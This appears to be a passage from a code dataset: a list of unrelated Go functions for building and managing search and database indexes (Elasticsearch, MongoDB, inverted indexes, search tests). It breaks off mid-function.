opts.DataURL,\n\t\t\tDataPrefix: opts.DataPrefix,\n\t\t\tJWTSecret: opts.JWTSecret,\n\t\t\tServiceUser: opts.ServiceUser,\n\t\t},\n\t\tdataProvider: dataProviderClient{\n\t\t\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\n\t\t\tclient: http.Client{\n\t\t\t\tTransport: http.DefaultTransport,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn u\n}", "func TestEngine_WriteIndex_NoKeys(t *testing.T) {\n\te := OpenDefaultEngine()\n\tdefer e.Close()\n\tif err := e.WriteIndex(nil, nil, nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "func buildIndexWithWalk(dir string) {\n\t//fmt.Println(len(documents))\n\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\n\t\tif (err != nil) {\n\t\t\tfmt.Fprintln(os.Stdout, err)\n\t\t}\n\t\tdocuments = append(documents, path)\n\t\treturn nil\n\t});\n}", "func BuildInvertedIndex() (map[string]*InvertedIndexEntry, error) {\n\tfileName := \"db.jsonl\"\n\n\tdata, err := ioutil.ReadFile(fileName)\n\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildIndex:read %v\\n\", err)\n\t\treturn nil, err\n\t}\n\n\tvar invertedIndex = make(map[string]*InvertedIndexEntry)\n\n\tfor _, line := range strings.Split(string(data), \"\\n\") {\n\t\t// line is a document\n\t\t// go over `safe_title` and `transcript`,\n\t\t// lower case, split at whitespace,\n\t\t// for each string entry, add to invertedIndex\n\t\t// profit\n\t\tcomicLine := Comic{}\n\t\terr := json.Unmarshal([]byte(line), &comicLine)\n\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"buildIndex:marshal %v\\n\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// todo: account for searchterms being substrings of fields\n\t\ttitleFields := strings.Fields(comicLine.SafeTitle)\n\t\ttranscriptFields := strings.Fields(comicLine.Transcript)\n\n\t\tcombinedList := append(titleFields, transcriptFields...)\n\n\t\tfor _, value := range combinedList {\n\t\t\tsearchValue := strings.ToLower(value)\n\t\t\texistingEntry := invertedIndex[searchValue]\n\n\t\t\tif existingEntry == nil {\n\t\t\t\tentry := InvertedIndexEntry{}\n\t\t\t\tentry.SearchTerm = searchValue\n\t\t\t\tentry.Comics = make(map[int]Comic)\n\t\t\t\tentry.Comics[comicLine.Num] = comicLine\n\t\t\t\tentry.Frequency = 1\n\t\t\t\tinvertedIndex[searchValue] = &entry\n\t\t\t} else {\n\t\t\t\texistingEntry.Frequency++\n\t\t\t\texistingEntry.Comics[comicLine.Num] = comicLine\n\t\t\t}\n\t\t}\n\t}\n\n\treturn invertedIndex, nil\n}", "func (cc *TicketsChaincode) createIndex(stub shim.ChaincodeStubInterface, indexName string, attributes []string) error {\n\tfmt.Println(\"- start create index\")\n\tvar err error\n\n\tindexKey, err := stub.CreateCompositeKey(indexName, attributes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvalue := []byte{0x00}\n\tstub.PutState(indexKey, value)\n\n\tfmt.Println(\"created index\")\n\treturn nil\n}", "func NewLogIndex() indices.Index { return &logIndex{} }", "func BuildIndex(dir string){\n\tconfig := Config()\n\tbuilder := makeIndexBuilder(config)\n\tbuilder.Build(\"/\")\n\tsort.Strings(documents)\n\tsave(documents, config)\n}", "func (s *BasePlSqlParserListener) ExitCreate_index(ctx *Create_indexContext) {}", "func NewIndexedFile(fileName string) (*File, error) {\n\tfile := &File{Name: fileName}\n\tmeta, err := createMetadata(fileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfile.meta = meta\n\tif err = file.meta.evaluateForFile(); err != nil {\n\t\treturn nil, err\n\t}\n\tfile.status = INDEXED\n\treturn file, nil\n}", "func NewElasticsearchTarget(id string, args ElasticsearchArgs, doneCh <-chan struct{}, loggerOnce func(ctx context.Context, err error, id interface{}, kind ...interface{}), test bool) (*ElasticsearchTarget, error) {\n\ttarget := &ElasticsearchTarget{\n\t\tid: event.TargetID{ID: id, Name: \"elasticsearch\"},\n\t\targs: args,\n\t\tloggerOnce: loggerOnce,\n\t}\n\n\tif args.QueueDir != \"\" {\n\t\tqueueDir := filepath.Join(args.QueueDir, storePrefix+\"-elasticsearch-\"+id)\n\t\ttarget.store = NewQueueStore(queueDir, args.QueueLimit)\n\t\tif err := target.store.Open(); err != nil {\n\t\t\ttarget.loggerOnce(context.Background(), err, target.ID())\n\t\t\treturn target, err\n\t\t}\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\n\terr := target.checkAndInitClient(ctx)\n\tif err != nil {\n\t\tif target.store == nil || err != errNotConnected {\n\t\t\ttarget.loggerOnce(context.Background(), err, target.ID())\n\t\t\treturn target, err\n\t\t}\n\t}\n\n\tif target.store != nil && !test {\n\t\t// Replays the events from the store.\n\t\teventKeyCh := replayEvents(target.store, doneCh, target.loggerOnce, target.ID())\n\t\t// Start replaying events from the store.\n\t\tgo sendEvents(target, eventKeyCh, doneCh, target.loggerOnce)\n\t}\n\n\treturn target, nil\n}", "func NewCorpus(filename string) (*Writer, error) {\n\tname := root(filename)\n\n\tfp, err := os.Create(name + \".index\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trdr, wtr := io.Pipe()\n\n\tret := make(chan error, 1)\n\n\tgo func() {\n\t\terr := write(rdr, name+\".data.dz\", 9)\n\t\tret <- err\n\t}()\n\n\tw := &Writer{\n\t\tidx: fp,\n\t\tdz: wtr,\n\t\tchRet: ret,\n\t\topened: true,\n\t}\n\treturn w, nil\n}", "func (al *AccessLayer) CreateIndices(temp bool) error {\n\n\tidxMap := map[string][]string{\n\t\tstopsTable: []string{\"stop_name\"},\n\t\tstopTimesTable: []string{\"trip_id\", \"arrival_time\"},\n\t\ttripsTable: []string{\"trip_id\", \"service_id\"},\n\t}\n\tfor t, indices := range idxMap {\n\t\tfor _, c := range indices {\n\t\t\tt := getTableName(t, temp)\n\t\t\ti := fmt.Sprintf(\"idx_%s\", c)\n\t\t\tif al.indexExists(t, i) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tq := fmt.Sprintf(\"CREATE INDEX %s ON %s(%s)\", i, t, c)\n\t\t\t_, err := al.AL.Exec(q)\n\t\t\tif err != nil {\n\t\t\t\tal.logger.Errorf(\"Error creating index %s against %s\", i, t)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tal.logger.Infof(\"Created index %s against %s\", i, t)\n\t\t}\n\t}\n\n\treturn nil\n}", "func TestIndex(t *testing.T) {\n\tdefer os.RemoveAll(\"testidx\")\n\n\tindex, err := New(\"testidx\", mapping)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer index.Close()\n\n\t// index all the people\n\tfor _, person := range people {\n\t\terr = index.Index(person.Identifier, person)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t}\n\n\ttermQuery := NewTermQuery(\"marti\").SetField(\"name\")\n\tsearchRequest := NewSearchRequest(termQuery)\n\tsearchResult, err := index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"noone\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\tmatchPhraseQuery := NewMatchPhraseQuery(\"long name\")\n\tsearchRequest = NewSearchRequest(matchPhraseQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for phrase query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"walking\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\tmatchQuery := NewMatchQuery(\"walking\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(matchQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for match query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"c\" {\n\t\t\tt.Errorf(\"expected top hit id 'c', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tprefixQuery := NewPrefixQuery(\"bobble\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(prefixQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for prefix query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tsyntaxQuery := NewSyntaxQuery(\"+name:phone\")\n\tsearchRequest = NewSearchRequest(syntaxQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for syntax query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tmaxAge := 30.0\n\tnumericRangeQuery := NewNumericRangeQuery(nil, &maxAge).SetField(\"age\")\n\tsearchRequest = NewSearchRequest(numericRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(2) {\n\t\tt.Errorf(\"expected 2 total hits for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t\tif searchResult.Hits[1].ID != \"a\" {\n\t\t\tt.Errorf(\"expected next hit id 'a', got '%s'\", searchResult.Hits[1].ID)\n\t\t}\n\t}\n\n\tstartDate = \"2010-01-01\"\n\tdateRangeQuery := NewDateRangeQuery(&startDate, nil).SetField(\"birthday\")\n\tsearchRequest = NewSearchRequest(dateRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(2) {\n\t\tt.Errorf(\"expected 2 total hits for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t\tif searchResult.Hits[1].ID != \"c\" {\n\t\t\tt.Errorf(\"expected next hit id 'c', got '%s'\", searchResult.Hits[1].ID)\n\t\t}\n\t}\n\n\t// test that 0 time doesn't get indexed\n\tendDate = \"2010-01-01\"\n\tdateRangeQuery = NewDateRangeQuery(nil, &endDate).SetField(\"birthday\")\n\tsearchRequest = NewSearchRequest(dateRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\t// test behavior of arrays\n\t// make sure we can successfully find by all elements in array\n\ttermQuery = NewTermQuery(\"gopher\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tif searchResult.Total != uint64(1) {\n\t\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t\t} else {\n\t\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t\t}\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"belieber\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tif searchResult.Total != uint64(1) {\n\t\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t\t} else {\n\t\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t\t}\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"notintagsarray\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\t// lookup document a\n\t// expect to find 2 values for field \"tags\"\n\ttagsCount := 0\n\tdoc, err := index.Document(\"a\")\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tfor _, f := range doc.Fields {\n\t\t\tif f.Name() == \"tags\" {\n\t\t\t\ttagsCount++\n\t\t\t}\n\t\t}\n\t}\n\tif tagsCount != 2 {\n\t\tt.Errorf(\"expected to find 2 values for tags\")\n\t}\n}", "func createIndexerNode(cinfo *common.ClusterInfoCache, nid common.NodeId) (*IndexerNode, error) {\n\n\thost, err := getIndexerHost(cinfo, nid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsizing := newMOISizingMethod()\n\treturn newIndexerNode(host, sizing), nil\n}", "func NewMsgCreateIndex(owner sdk.AccAddress, tableName string, field string) MsgCreateIndex {\n return MsgCreateIndex {\n Owner: owner,\n TableName: tableName,\n Field: field,\n }\n}", "func MakeIndex() error {\n\n\treturn nil\n}", "func New(pg *pg.DB, index Index) *Model {\n\tInitTokenize()\n\treturn &Model{\n\t\tPG: pg,\n\t\tIndex: index,\n\t\tFiles: make(map[string]int),\n\t\tWords: make(map[string]int),\n\t}\n}", "func (s *Session) createTarget(header *ws.Header, frame io.Reader) (Target, error) {\n\tvar opBytes [indexBytesSize]byte\n\tif _, err := io.ReadFull(frame, opBytes[:]); err != nil {\n\t\treturn nil, err\n\t}\n\n\tws.Cipher(opBytes[:], header.Mask, 0)\n\theader.Mask = shiftCipher(header.Mask, indexBytesSize)\n\theader.Length -= indexBytesSize\n\tindex := int(binary.BigEndian.Uint16(opBytes[:]))\n\n\tif index == controlIndex {\n\t\treturn NewRPCTarget(s.readCopyBuffer, s), nil\n\t}\n\n\tcnx := s.GetConnection(index)\n\tif cnx == nil {\n\t\treturn nil, UnknownConnection\n\t}\n\n\treturn &ConnectionTarget{cnx}, nil\n}", "func New(col *parser.Collection) *Indexer {\n\tindex := make(map[int]map[int]float64)\n\tidfDict := make(map[int]float64)\n\tvocDict := make(map[string]int)\n\tdocDict := make(map[int]*parser.Document)\n\tdocNormDict := make(map[int]float64)\n\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\n}", "func New(dataset []float64) *LearnedIndex {\n\n\tst := search.NewSortedTable(dataset)\n\t// store.Flush(st)\n\n\tx, y := linear.Cdf(st.Keys)\n\tlen_ := len(dataset)\n\tm := linear.Fit(x, y)\n\tguesses := make([]int, len_)\n\tscaledY := make([]int, len_)\n\tmaxErr, minErr := 0, 0\n\tfor i, k := range x {\n\t\tguesses[i] = scale(m.Predict(k), len_)\n\t\tscaledY[i] = scale(y[i], len_)\n\t\tresidual := residual(guesses[i], scaledY[i])\n\t\tif residual > maxErr {\n\t\t\tmaxErr = residual\n\t\t} else if residual < minErr {\n\t\t\tminErr = residual\n\t\t}\n\t}\n\treturn &LearnedIndex{M: m, Len: len_, ST: st, MinErrBound: minErr, MaxErrBound: maxErr}\n}", "func (r *Results) Create(item *TestDocument) error {\n\tpayload, err := json.Marshal(item)\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx := context.Background()\n\tres, err := esapi.IndexRequest{\n\t\tIndex: r.indexName,\n\t\tBody: bytes.NewReader(payload),\n\t}.Do(ctx, r.es)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.IsError() {\n\t\tvar e map[string]interface{}\n\t\tif err := json.NewDecoder(res.Body).Decode(&e); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn fmt.Errorf(\"[%s] %s: %s\", res.Status(), e[\"error\"].(map[string]interface{})[\"type\"], e[\"error\"].(map[string]interface{})[\"reason\"])\n\t}\n\treturn nil\n}", "func NewIndexer(\n\tprojectRoot string,\n\trepositoryRoot string,\n\tmoduleName string,\n\tmoduleVersion string,\n\tdependencies map[string]string,\n\taddContents bool,\n\ttoolInfo protocol.ToolInfo,\n\tw io.Writer,\n) Indexer {\n\treturn &indexer{\n\t\tprojectRoot: projectRoot,\n\t\trepositoryRoot: repositoryRoot,\n\t\tmoduleName: moduleName,\n\t\tmoduleVersion: moduleVersion,\n\t\tdependencies: dependencies,\n\t\ttoolInfo: toolInfo,\n\t\tw: protocol.NewWriter(w, addContents),\n\n\t\t// Empty maps\n\t\tdefsIndexed: map[string]bool{},\n\t\tusesIndexed: map[string]bool{},\n\t\tranges: map[string]map[int]string{},\n\t\thoverResultCache: map[string]string{},\n\t\tfiles: map[string]*fileInfo{},\n\t\timports: map[token.Pos]*defInfo{},\n\t\tfuncs: map[string]*defInfo{},\n\t\tconsts: map[token.Pos]*defInfo{},\n\t\tvars: map[token.Pos]*defInfo{},\n\t\ttypes: map[string]*defInfo{},\n\t\tlabels: map[token.Pos]*defInfo{},\n\t\trefs: map[string]*refResultInfo{},\n\t\tpackageInformationIDs: map[string]string{},\n\t}\n}", "func NewIndex(unique bool, columns []Column) *Index {\n\treturn &Index{\n\t\tbtree: btree.NewBTreeG[Doc](func(a, b Doc) bool {\n\t\t\treturn Order(a, b, columns, !unique) < 0\n\t\t}),\n\t}\n}", "func CreateNewIndex(url string, alias string) (string, error) {\n\t// create our day-specific name\n\tphysicalIndex := fmt.Sprintf(\"%s_%s\", alias, time.Now().Format(\"2006_01_02\"))\n\tidx := 0\n\n\t// check if it exists\n\tfor true {\n\t\tresp, err := http.Get(fmt.Sprintf(\"%s/%s\", url, physicalIndex))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// not found, great, move on\n\t\tif resp.StatusCode == http.StatusNotFound {\n\t\t\tbreak\n\t\t}\n\n\t\t// was found, increase our index and try again\n\t\tidx++\n\t\tphysicalIndex = fmt.Sprintf(\"%s_%s_%d\", alias, time.Now().Format(\"2006_01_02\"), idx)\n\t}\n\n\t// initialize our index\n\tcreateURL := fmt.Sprintf(\"%s/%s\", url, physicalIndex)\n\t_, err := MakeJSONRequest(http.MethodPut, createURL, indexSettings, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// all went well, return our physical index name\n\tlog.WithField(\"index\", physicalIndex).Info(\"created index\")\n\treturn physicalIndex, nil\n}", "func CreateIndexer(root string, nbuckets, seqLen int) (*Indexer, error) {\n\tcfg, err := NewConfig(root, nbuckets, seqLen)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn IndexerFromConfig(cfg)\n}", "func CreateIndexIfNotExists(e *elastic.Client, index string) error {\n\t// Use the IndexExists service to check if a specified index exists.\n\texists, err := e.IndexExists(index).Do(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"elastic: unable to check if Index exists - %s\\n\", err)\n\t\treturn err\n\t}\n\n\tif exists {\n\t\treturn nil\n\t}\n\n\t// Create a new index.\n\tv := reflect.TypeOf(Point{})\n\n\tmapping := MapStr{\n\t\t\"settings\": MapStr{\n\t\t\t\"number_of_shards\": 1,\n\t\t\t\"number_of_replicas\": 1,\n\t\t},\n\t\t\"mappings\": MapStr{\n\t\t\t\"doc\": MapStr{\n\t\t\t\t\"properties\": MapStr{},\n\t\t\t},\n\t\t},\n\t}\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tfield := v.Field(i)\n\t\ttag := field.Tag.Get(\"elastic\")\n\t\tif len(tag) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\ttagfields := strings.Split(tag, \",\")\n\t\tmapping[\"mappings\"].(MapStr)[\"doc\"].(MapStr)[\"properties\"].(MapStr)[field.Name] = MapStr{}\n\t\tfor _, tagfield := range tagfields {\n\t\t\ttagfieldValues := strings.Split(tagfield, \":\")\n\t\t\tmapping[\"mappings\"].(MapStr)[\"doc\"].(MapStr)[\"properties\"].(MapStr)[field.Name].(MapStr)[tagfieldValues[0]] = tagfieldValues[1]\n\t\t}\n\t}\n\tmappingJSON, err := json.Marshal(mapping)\n\tif err != nil {\n\t\tlog.Printf(\"elastic: error on json marshal - %s\\n\", err)\n\t\treturn err\n\t}\n\n\t_, err = e.CreateIndex(index).BodyString(string(mappingJSON)).Do(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"elastic: error creating elastic index %s - %s\\n\", index, err)\n\t\treturn err\n\t}\n\tlog.Printf(\"elastic: index %s created\\n\", index)\n\treturn nil\n}", "func NewCorpus(basis []string) *Corpus {\n\tw := make(map[string]bool)\n\tfor _, v := range basis {\n\t\tif _, ok := w[v]; !ok {\n\t\t\tw[v] = true\n\t\t}\n\t}\n\treturn &Corpus{\n\t\tSize: len(w),\n\t\twords: w,\n\t}\n}", "func NewIndexed(filepath string) (*ListFile, error) {\n\tfile, err := os.OpenFile(filepath, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while OpenFile: %s\", err)\n\t}\n\n\tlf := &ListFile{\n\t\tfile: file,\n\t\tmu: &sync.RWMutex{},\n\t\t// Main index for the lines of the file:\n\t\tmainIndex: hashsearch.New(),\n\t\t// Allow to create custom indexes:\n\t\tsecondaryIndexes: make(map[string]*Index),\n\t}\n\n\terr = lf.loadExistingToMainIndex()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while loadExistingToMainIndex: %s\", err)\n\t}\n\n\treturn lf, nil\n}", "func NewIndex(texts []string, name string) *Index {\n\treturn &Index{texts: texts, name: name}\n}", "func New(data []byte) *Index", "func makeIndexBuilder(c Configuration) IndexBuilder {\n\tif c.BuildIndexStrategy == \"Concurrent\" {\n\t\treturn BuildIndexConcurrent{}\n\t}\n\tif c.BuildIndexStrategy == \"Iterative\" {\n\t\treturn BuildIndexWithWalk{}\n\t}\n\tfmt.Println(os.Stderr, \"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\")\n\treturn BuildIndexConcurrent{}\n}", "func (db *Database) createTimestampIndex() {\n\tindexView := db.database.Collection(TRACKS.String()).Indexes()\n\n\tindexModel := mongo.IndexModel{\n\t\tKeys: bson.NewDocument(bson.EC.Int32(\"ts\", -1))}\n\n\t_, err := indexView.CreateOne(context.Background(), indexModel, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func New(ds datastore.TxnDatastore, api *apistruct.FullNodeStruct) (*Index, error) {\n\tcs := chainsync.New(api)\n\tstore, err := chainstore.New(txndstr.Wrap(ds, \"chainstore\"), cs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinitMetrics()\n\tctx, cancel := context.WithCancel(context.Background())\n\ts := &Index{\n\t\tapi: api,\n\t\tstore: store,\n\t\tsignaler: signaler.New(),\n\t\tindex: IndexSnapshot{\n\t\t\tMiners: make(map[string]Slashes),\n\t\t},\n\t\tctx: ctx,\n\t\tcancel: cancel,\n\t\tfinished: make(chan struct{}),\n\t}\n\tif err := s.loadFromDS(); err != nil {\n\t\treturn nil, err\n\t}\n\tgo s.start()\n\treturn s, nil\n}", "func NewTarget() Target {\n\treturn Target{Alias: \"$tag_host $tag_name\", DsType: \"influxdb\"}\n}", "func buildRuleToGenerateIndex(ctx android.ModuleContext, desc string, classesJars android.Paths, indexCSV android.WritablePath) {\n\trule := android.NewRuleBuilder(pctx, ctx)\n\trule.Command().\n\t\tBuiltTool(\"merge_csv\").\n\t\tFlag(\"--zip_input\").\n\t\tFlag(\"--key_field signature\").\n\t\tFlagWithOutput(\"--output=\", indexCSV).\n\t\tInputs(classesJars)\n\trule.Build(desc, desc)\n}", "func createNumericalIndexIfNotExists(ctx context.Context, iv mongo.IndexView, model mongo.IndexModel) error {\n\tc, err := iv.List(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = c.Close(ctx)\n\t}()\n\n\tmodelKeysBytes, err := bson.Marshal(model.Keys)\n\tif err != nil {\n\t\treturn err\n\t}\n\tmodelKeysDoc := bsoncore.Document(modelKeysBytes)\n\n\tfor c.Next(ctx) {\n\t\tkeyElem, err := c.Current.LookupErr(\"key\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tkeyElemDoc := keyElem.Document()\n\n\t\tfound, err := numericalIndexDocsEqual(modelKeysDoc, bsoncore.Document(keyElemDoc))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif found {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t_, err = iv.CreateOne(ctx, model)\n\treturn err\n}", "func BuildIndexInfo(\n\tctx sessionctx.Context,\n\tallTableColumns []*model.ColumnInfo,\n\tindexName model.CIStr,\n\tisPrimary bool,\n\tisUnique bool,\n\tisGlobal bool,\n\tindexPartSpecifications []*ast.IndexPartSpecification,\n\tindexOption *ast.IndexOption,\n\tstate model.SchemaState,\n) (*model.IndexInfo, error) {\n\tif err := checkTooLongIndex(indexName); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\tidxColumns, mvIndex, err := buildIndexColumns(ctx, allTableColumns, indexPartSpecifications)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\t// Create index info.\n\tidxInfo := &model.IndexInfo{\n\t\tName: indexName,\n\t\tColumns: idxColumns,\n\t\tState: state,\n\t\tPrimary: isPrimary,\n\t\tUnique: isUnique,\n\t\tGlobal: isGlobal,\n\t\tMVIndex: mvIndex,\n\t}\n\n\tif indexOption != nil {\n\t\tidxInfo.Comment = indexOption.Comment\n\t\tif indexOption.Visibility == ast.IndexVisibilityInvisible {\n\t\t\tidxInfo.Invisible = true\n\t\t}\n\t\tif indexOption.Tp == model.IndexTypeInvalid {\n\t\t\t// Use btree as default index type.\n\t\t\tidxInfo.Tp = model.IndexTypeBtree\n\t\t} else {\n\t\t\tidxInfo.Tp = indexOption.Tp\n\t\t}\n\t} else {\n\t\t// Use btree as default index type.\n\t\tidxInfo.Tp = model.IndexTypeBtree\n\t}\n\n\treturn idxInfo, nil\n}", "func (api *ElasticAPI) CreateSearchIndex(ctx context.Context, instanceID, dimension string) (int, error) {\n\t*api.NumberOfCalls++\n\n\tif api.InternalServerError {\n\t\treturn 0, errorInternalServer\n\t}\n\n\treturn 201, nil\n}", "func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}", "func NewIndex(docID, word string, count int64) *Index {\n\tindex := new(Index)\n\tindex.IndexID = uuid.NewV4().String()\n\tindex.DocID = docID\n\tindex.Word = word\n\tindex.Count = count\n\n\treturn index\n}", "func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}", "func CreatePackageIndexer() *PackageIndexer {\n\treturn &PackageIndexer{\n\t\tpacks: map[string]*Package{},\n\t\tmutex: &sync.Mutex{},\n\t}\n}", "func createIndex(name string, paths []interface{}, wildcards []string) {\r\n\tf, err := os.Create(name)\r\n\tcheck(err)\r\n\tdefer f.Close()\r\n\tw := bufio.NewWriter(f)\r\n\tindexContents := []string{}\r\n\tfor _, path := range paths {\r\n\t\tp := path.(string)\r\n\t\tfilepath.Walk(p, walker(&indexContents, wildcards))\r\n\t}\r\n\tfor i := range 